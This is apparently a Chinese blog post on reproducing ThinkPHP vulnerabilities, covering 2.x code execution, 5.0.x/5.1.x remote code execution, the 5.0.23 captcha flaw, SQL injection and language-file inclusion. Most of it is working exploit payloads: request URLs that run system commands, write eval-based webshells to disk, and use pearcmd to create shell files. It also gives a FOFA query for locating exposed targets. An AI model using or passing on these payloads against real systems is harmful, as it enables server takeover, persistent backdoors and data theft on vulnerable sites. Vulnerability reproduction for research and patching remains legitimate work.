thinkphp漏洞复现

- ThinkPHP 2.x 任意代码执行漏洞
- Thinkphp5 5.0.22/5.1.29 远程代码执行
- ThinkPHP5 5.0.23 远程代码执行
- ThinkPHP5 SQL Injection Vulnerability && Sensitive Information Disclosure Vulnerability
- ThinkPHP Lang Local File Inclusion

ThinkPHP 2.x 任意代码执行漏洞

1、ThinkPHP 2.x版本中，使用preg_replace的/e模式匹配路由,导致代码执行

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

2、抓包或者使用插件查看一下有没有php的版本号，上面有介绍过，那个命令执行的触发条件<=php5.6.29
在这里插入图片描述

3、漏洞利用
payload：

http://xx.xx.xx.xx:8080/index.php?s=/index/index/xxx/${@phpinfo()}
http://xx.xx.xx.xx:8080/index.php?s=/Index/index/xxx/${@print(eval($_POST[1]))}  可以直接菜刀连接

在这里插入图片描述

Thinkphp5 5.0.22/5.1.29 远程代码执行

参考
https://xz.aliyun.com/t/3570
https://www.cnblogs.com/miansj/p/14639276.html
在这里插入图片描述

1、payload

http://xx.xx.xx.xx:xx/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

在这里插入图片描述

2、大佬通杀payload

两个通杀payload版本号：5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system

版本号：5.0.20~5.0.23
payload：_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami
5.1.x php版本>5.5:http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
5.0.x php版本>=5.4:exp0 = '/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>'

exp1 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>'

exp2 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'
payhttp://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令

http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
5.1.x php版本>5.5http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
写shell：?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'

?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>

ThinkPHP5 5.0.23 远程代码执行

payload

POST /index.php?s=captcha HTTP/1.1
Host: xxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

ThinkPHP5 SQL Injection Vulnerability && Sensitive Information Disclosure Vulnerability

1、该漏洞形成最关键的一点是需要开启debug模式，而Tp官方最新的版本5.0.9默认依旧是开放着调试模式
2、SQL信息泄露

payload:?ids[0'\]=1

在这里插入图片描述

3、SQL注入漏洞

payload:?ids[0,updatexml(0,concat(0x7e,user(),0x7e),0)]=1

在这里插入图片描述

ThinkPHP Lang Local File Inclusion

https://www.freebuf.com/vuls/352360.html

fofa header="think_lang"

payload: /?lang=../../../../../public/index 回复500说明漏洞存在
写入shell /index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo();?>+shell.php